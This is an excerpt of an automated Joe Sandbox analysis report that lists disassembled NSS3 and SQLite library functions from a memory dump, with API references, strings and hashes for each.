PR_LogPrint.NSS3(?,00000000), ref: 6CE99E49
PR_LogPrint.NSS3( flags = 0x%x,?), ref: 6CE99E65

Strings

(CK_INVALID_HANDLE), xrefs: 6CE99E2C
flags = 0x%x, xrefs: 6CE99E60
hSession = 0x%x, xrefs: 6CE99E0E, 6CE99E1E
C_SessionCancel, xrefs: 6CE99DF1

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: flags = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_SessionCancel
API String ID: 1003633598-1678415578
Opcode ID: 8eb42ea824f794c77ddfde4d975c5b8944b72b367e047e25685580d8577065fa
Instruction ID: b9410ab61470325fe8a3431aa8d4a6df29818285ed7d0eaf8ff1b089e99d84fe
Opcode Fuzzy Hash: 8eb42ea824f794c77ddfde4d975c5b8944b72b367e047e25685580d8577065fa
Instruction Fuzzy Hash: CC210771F11104AFDB509B14DC88B6B37B4EB4230DF554429E80DA7B11DB329E49C7A2

Function 6CE60F30 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 85memoryCOMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CE60F62
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CE60F84

Part of subcall function 6CEBB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CF918D0,?), ref: 6CEBB095

SEC_QuickDERDecodeItem_Util.NSS3(?,6CE7F59B,6CF8890C,?), ref: 6CE60FA8
PORT_Alloc_Util.NSS3(4C8B1474), ref: 6CE60FC1

Part of subcall function 6CEC0BE0: malloc.MOZGLUE(6CEB8D2D,?,00000000,?), ref: 6CEC0BF8
Part of subcall function 6CEC0BE0: TlsGetValue.KERNEL32(6CEB8D2D,?,00000000,?), ref: 6CEC0C15

memcpy.VCRUNTIME140(00000000,?,4C8B1474), ref: 6CE60FDB
PR_CallOnce.NSS3(6CFC2AA4,6CEC12D0), ref: 6CE60FEF
PL_FreeArenaPool.NSS3(?), ref: 6CE61001
PL_FinishArenaPool.NSS3(?), ref: 6CE61009

Strings

security, xrefs: 6CE60F5C

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: ArenaPoolUtil$DecodeItem_Quick$Alloc_CallErrorFinishFreeInitOnceValuemallocmemcpy
String ID: security
API String ID: 2061345354-3315324353
Opcode ID: 6cc5cdf78356f5b8399e5345be36e78a3e33a0822f8cfb0fd9d146ef9368fbb0
Instruction ID: 3cb27f887b6a2c034d8134944f67df3019d056257d4751683f392a75c6405c0c
Opcode Fuzzy Hash: 6cc5cdf78356f5b8399e5345be36e78a3e33a0822f8cfb0fd9d146ef9368fbb0
Instruction Fuzzy Hash: E62106B1A00204ABEB109F25DD81ABBB7B4EF4465CF208519FC2897701F732D905CBA2

Function 6CE66DB0 Relevance: 15.2, APIs: 10, Instructions: 200memoryCOMMON

Download Yara Rule

APIs

SECITEM_ArenaDupItem_Util.NSS3(?,6CE67D8F,6CE67D8F,?,?), ref: 6CE66DC8

Part of subcall function 6CEBFDF0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6CEBFE08
Part of subcall function 6CEBFDF0: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6CEBFE1D
Part of subcall function 6CEBFDF0: memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6CEBFE62

PORT_ArenaAlloc_Util.NSS3(?,00000010,?,?,6CE67D8F,?,?), ref: 6CE66DD5

Part of subcall function 6CEC10C0: TlsGetValue.KERNEL32(?,6CE68802,00000000,00000008,?,6CE5EF74,00000000), ref: 6CEC10F3
Part of subcall function 6CEC10C0: EnterCriticalSection.KERNEL32(?,?,6CE68802,00000000,00000008,?,6CE5EF74,00000000), ref: 6CEC110C
Part of subcall function 6CEC10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE68802,00000000,00000008,?,6CE5EF74,00000000), ref: 6CEC1141
Part of subcall function 6CEC10C0: PR_Unlock.NSS3(?,?,?,6CE68802,00000000,00000008,?,6CE5EF74,00000000), ref: 6CEC1182
Part of subcall function 6CEC10C0: TlsGetValue.KERNEL32(?,6CE68802,00000000,00000008,?,6CE5EF74,00000000), ref: 6CEC119C

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CF88FA0,00000000,?,?,?,?,6CE67D8F,?,?), ref: 6CE66DF7

Part of subcall function 6CEBB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CF918D0,?), ref: 6CEBB095

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6CE66E35

Part of subcall function 6CEBFDF0: PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6CEBFE29
Part of subcall function 6CEBFDF0: PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6CEBFE3D
Part of subcall function 6CEBFDF0: free.MOZGLUE(00000000,?,?,?,?), ref: 6CEBFE6F

PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6CE66E4C

Part of subcall function 6CEC10C0: PL_ArenaAllocate.NSS3(?,6CE68802,00000000,00000008,?,6CE5EF74,00000000), ref: 6CEC116E

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CF88FE0,00000000), ref: 6CE66E82

Part of subcall function 6CE66AF0: SECITEM_ArenaDupItem_Util.NSS3(00000000,6CE6B21D,00000000,00000000,6CE6B219,?,6CE66BFB,00000000,?,00000000,00000000,?,?,?,6CE6B21D), ref: 6CE66B01
Part of subcall function 6CE66AF0: SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,00000000), ref: 6CE66B8A

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6CE66F1E
PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6CE66F35
SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CF88FE0,00000000), ref: 6CE66F6B
PR_SetError.NSS3(FFFFE005,00000000,6CE67D8F,?,?), ref: 6CE66FE1

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_$DecodeQuick$AllocateErrorValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 587344769-0
Opcode ID: 3d5dca8ce813a19b727c6fda82d4c7f8748755ec557e27cf640e2481deb7b519
Instruction ID: 353b214b55c006d7fa44cc42a060996d944edde07cf2ce2ceb82d6829cbc41d7
Opcode Fuzzy Hash: 3d5dca8ce813a19b727c6fda82d4c7f8748755ec557e27cf640e2481deb7b519
Instruction Fuzzy Hash: 68717F71E602469BDB00CF56CD41BAAB7B8BF9530CF254229E818D7B11F771EA94CB90

Function 6CEA0FE0 Relevance: 15.2, APIs: 10, Instructions: 192memorystringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CEA1057
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CEA1085
PK11_GetAllTokens.NSS3 ref: 6CEA10B1
free.MOZGLUE(?), ref: 6CEA1107
PR_SetError.NSS3(00000000,00000000), ref: 6CEA1172
free.MOZGLUE(?), ref: 6CEA1182
free.MOZGLUE(?), ref: 6CEA11A6
SECITEM_ItemsAreEqual_Util.NSS3(?,?), ref: 6CEA11C5

Part of subcall function 6CEA52C0: TlsGetValue.KERNEL32(?,00000001,00000002,?,?,?,?,?,?,?,?,?,?,6CE7EAC5,00000001), ref: 6CEA52DF
Part of subcall function 6CEA52C0: EnterCriticalSection.KERNEL32(?), ref: 6CEA52F3
Part of subcall function 6CEA52C0: PR_Unlock.NSS3(?), ref: 6CEA5358

PORT_ZAlloc_Util.NSS3(0000000C), ref: 6CEA11D3
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6CEA11F3

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Utilfree$Alloc_Error$CriticalEnterEqual_ItemsK11_SectionTokensUnlockValuestrlen
String ID:
API String ID: 1549229083-0
Opcode ID: ca92572b08e34852257b34e552402681c99da7b5d6d1d587e0a82df3bd56cd4f
Instruction ID: 5e2e34f11b26cd6c72fc39cabdb7518d2ca7937ea7c46ada1ef5dd8421cd054c
Opcode Fuzzy Hash: ca92572b08e34852257b34e552402681c99da7b5d6d1d587e0a82df3bd56cd4f
Instruction Fuzzy Hash: 1D61A1B5E01345DFEB00DFE5D881BAABBB4AF14348F244128E819AF741E771E946CB61

Function 6CEAADC0 Relevance: 15.1, APIs: 10, Instructions: 148COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6CE8CDBB,?,6CE8D079,00000000,00000001), ref: 6CEAAE10
EnterCriticalSection.KERNEL32(?,?,6CE8CDBB,?,6CE8D079,00000000,00000001), ref: 6CEAAE24
PR_Unlock.NSS3(?,?,?,?,?,?,6CE8D079,00000000,00000001), ref: 6CEAAE5A
memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6CE8CDBB,?,6CE8D079,00000000,00000001), ref: 6CEAAE6F
free.MOZGLUE(85145F8B,?,?,?,?,6CE8CDBB,?,6CE8D079,00000000,00000001), ref: 6CEAAE7F
TlsGetValue.KERNEL32(?,6CE8CDBB,?,6CE8D079,00000000,00000001), ref: 6CEAAEB1
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6CE8CDBB,?,6CE8D079,00000000,00000001), ref: 6CEAAEC9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6CE8CDBB,?,6CE8D079,00000000,00000001), ref: 6CEAAEF1
free.MOZGLUE(6CE8CDBB,?,?,?,?,?,?,?,?,?,?,?,?,?,6CE8CDBB,?), ref: 6CEAAF0B
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6CE8CDBB,?,6CE8D079,00000000,00000001), ref: 6CEAAF30

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValuefree$memset
String ID:
API String ID: 161582014-0
Opcode ID: bbf09b1940b66a3dbdf1c1191b547ae28d027290368975c3952383c36c4ef226
Instruction ID: f759c2b6f1ca23679685e65c5e4e135b58854619586992134163fd4d83ec5fc1
Opcode Fuzzy Hash: bbf09b1940b66a3dbdf1c1191b547ae28d027290368975c3952383c36c4ef226
Instruction Fuzzy Hash: 8A51BEB5A40702AFDB44DF65D885B66B7B4BF09318F248264E8189BB01E731F8A5CFD1

Function 6CE84CA0 Relevance: 15.1, APIs: 10, Instructions: 142COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,?,6CE8AB7F,?,00000000,?), ref: 6CE84CB4
EnterCriticalSection.KERNEL32(0000001C,?,6CE8AB7F,?,00000000,?), ref: 6CE84CC8
TlsGetValue.KERNEL32(?,6CE8AB7F,?,00000000,?), ref: 6CE84CE0
EnterCriticalSection.KERNEL32(?,?,6CE8AB7F,?,00000000,?), ref: 6CE84CF4
PL_HashTableLookup.NSS3(?,?,?,6CE8AB7F,?,00000000,?), ref: 6CE84D03
PR_Unlock.NSS3(?,00000000,?), ref: 6CE84D10

Part of subcall function 6CF0DD70: TlsGetValue.KERNEL32 ref: 6CF0DD8C
Part of subcall function 6CF0DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CF0DDB4

PR_Now.NSS3(?,00000000,?), ref: 6CE84D26

Part of subcall function 6CF29DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CF70A27), ref: 6CF29DC6
Part of subcall function 6CF29DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CF70A27), ref: 6CF29DD1
Part of subcall function 6CF29DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CF29DED

PR_Unlock.NSS3(?,?,00000000,?), ref: 6CE84D98
PR_Unlock.NSS3(?,?,?,00000000,?), ref: 6CE84DDA
PR_Unlock.NSS3(?,?,?,?,00000000,?), ref: 6CE84E02

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Unlock$CriticalSectionTimeValue$EnterSystem$FileHashLeaveLookupTableUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 4032354334-0
Opcode ID: 3bef321f3abe17e27ea34bac9ea44ff9c8c477e4eab70913118f2b5d9e144fdd
Instruction ID: 3ebfe03e505863558eb6c923d9bc9afaf42681c19d0c287192cce039f4706a2e
Opcode Fuzzy Hash: 3bef321f3abe17e27ea34bac9ea44ff9c8c477e4eab70913118f2b5d9e144fdd
Instruction Fuzzy Hash: F441A5B6E012059BEB11AF68EC50A6A77BCFF0521CF254175EC0887B52FB31E924C7A1

Function 6CE889C0 Relevance: 15.1, APIs: 10, Instructions: 84COMMON

Download Yara Rule

APIs

PK11_CreateDigestContext.NSS3(00000004,00000000,00000000,00000000,00000000,?,6CE8AE9B,00000000,?,?), ref: 6CE889DE
PK11_DigestBegin.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,6CE62D6B,?,?,00000000), ref: 6CE889EF
PK11_DigestOp.NSS3(00000000,57016AC6,034C08E8,?,00000000,?,?,?,?,?,?,?,?,?,?,6CE62D6B), ref: 6CE88A02
PK11_DestroyContext.NSS3(00000000,00000001,?,00000000,?,?,?,?,?,?,?,?,?,?,6CE62D6B,?), ref: 6CE88A11

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: K11_$Digest$Context$BeginCreateDestroy
String ID:
API String ID: 407214398-0
Opcode ID: ecbebb61958445e26c51d53fb7cc59fcd796865744633897110a51e6fa71770e
Instruction ID: 64975b6655015c52ddc0cc7639e3abc2f89a878ab98452dbf3a7432ec6f1cfef
Opcode Fuzzy Hash: ecbebb61958445e26c51d53fb7cc59fcd796865744633897110a51e6fa71770e
Instruction Fuzzy Hash: 6E11EBFAE0230156FB505664AC81BBB357CDB4175CF28007AED0DA9BC2F76AD919C1B2

Function 6CE62E00 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6CE62CDA,?,00000000), ref: 6CE62E1E

Part of subcall function 6CEBFD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6CE69003,?), ref: 6CEBFD91
Part of subcall function 6CEBFD80: PORT_Alloc_Util.NSS3(A4686CEC,?), ref: 6CEBFDA2
Part of subcall function 6CEBFD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686CEC,?,?), ref: 6CEBFDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6CE62E33

Part of subcall function 6CEBFD80: free.MOZGLUE(00000000,?,?), ref: 6CEBFDD1

TlsGetValue.KERNEL32 ref: 6CE62E4E
EnterCriticalSection.KERNEL32(?), ref: 6CE62E5E
PL_HashTableLookup.NSS3(?), ref: 6CE62E71
PL_HashTableRemove.NSS3(?), ref: 6CE62E84
PL_HashTableAdd.NSS3(?,00000000), ref: 6CE62E96
PR_Unlock.NSS3 ref: 6CE62EA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CE62EB6
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE62EC5

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Util$HashItem_Table$Alloc_$CriticalEnterErrorLookupRemoveSectionUnlockValueZfreefreememcpy
String ID:
API String ID: 3332421221-0
Opcode ID: 5b0c74894fa06cdbd917c72737910ed7e8dc0a6e98c61792733f684e245e9cf1
Instruction ID: 996422e6d5bffab366f3d781958fa9c717cce3861396b2eb1d662482dee05e7d
Opcode Fuzzy Hash: 5b0c74894fa06cdbd917c72737910ed7e8dc0a6e98c61792733f684e245e9cf1
Instruction Fuzzy Hash: FC21F576F90101A7EF021B29EC09B9B3B78EB5235DF240435ED1896B12F733D668D6A1

Function 6CE4FC50 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 233COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6CE4FD18
sqlite3_initialize.NSS3 ref: 6CE4FD5F
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CE4FD89
memcpy.VCRUNTIME140(00000000,00000000,?), ref: 6CE4FD99
sqlite3_free.NSS3(00000000), ref: 6CE4FE3C
sqlite3_free.NSS3(?), ref: 6CE4FEE3
sqlite3_free.NSS3(?), ref: 6CE4FEEE

Strings

simple, xrefs: 6CE4FC79

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: sqlite3_free$sqlite3_initialize$memcpymemset
String ID: simple
API String ID: 1130978851-3246079234
Opcode ID: 7b38c7f426aeb8b51ba49fe58ce72743926d96008c8979818f5643c8a4d88a5a
Instruction ID: 2b8ad029fe615f6bd04074ae8abea02586b7ee5bd1373a8d546c536f616532fa
Opcode Fuzzy Hash: 7b38c7f426aeb8b51ba49fe58ce72743926d96008c8979818f5643c8a4d88a5a
Instruction Fuzzy Hash: 3F9170B0A012058FDB04CF55D880BAAB7B1FF89718F35C169DC199BB52D739E801CBA0

Function 6CE55CE0 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 229COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CE55EC9
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,000296F7,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CE55EED

Strings

misuse, xrefs: 6CE55EDB
%s at line %d of [%.10s], xrefs: 6CE55EE0
invalid, xrefs: 6CE55EBE
API call with %s database connection pointer, xrefs: 6CE55EC3
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CE55ED1
unable to close due to unfinalized statements or unfinished backups, xrefs: 6CE55E64

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse$unable to close due to unfinalized statements or unfinished backups
API String ID: 632333372-1982981357
Opcode ID: de3534ad792c0240e5ab829ab2e50471a296c17414a1cdd2731a4a85b00a13cb
Instruction ID: 74874ed33672ea5e99f9212f0368cb63e3becb60c1687a4fdf785199287ec75c
Opcode Fuzzy Hash: de3534ad792c0240e5ab829ab2e50471a296c17414a1cdd2731a4a85b00a13cb
Instruction Fuzzy Hash: 5981B032B076119BEB198F65C848B6A7770BF4230CFB9026DD8155BB51D733E862CBA1

Function 6CE3DCC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 225COMMON

Download Yara Rule

APIs

_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CE3DDF9
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00012806,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CE3DE68
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001280D,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CE3DE97
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6CE3DEB6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CE3DF78

Strings

%s at line %d of [%.10s], xrefs: 6CE3DE61, 6CE3DE90
database corruption, xrefs: 6CE3DE5C, 6CE3DE8B
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CE3DE52, 6CE3DE81

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1526119172-598938438
Opcode ID: 25736c7886e72c0da4a41dddeb0b128c85020b6e52a2794b2a5359d3f88b6cb0
Instruction ID: f8a219b2f665647cefc6befb0fba92c606c6f566caa79385361bb2e8c4b3a3d9
Opcode Fuzzy Hash: 25736c7886e72c0da4a41dddeb0b128c85020b6e52a2794b2a5359d3f88b6cb0
Instruction Fuzzy Hash: EB81F1756143109FD715CF25C880B6A77F1AF85308F24992DE88E8BB91E731FA46CB52

Function 6CDECEC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 199COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A7E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6CDEB999), ref: 6CDECFF3
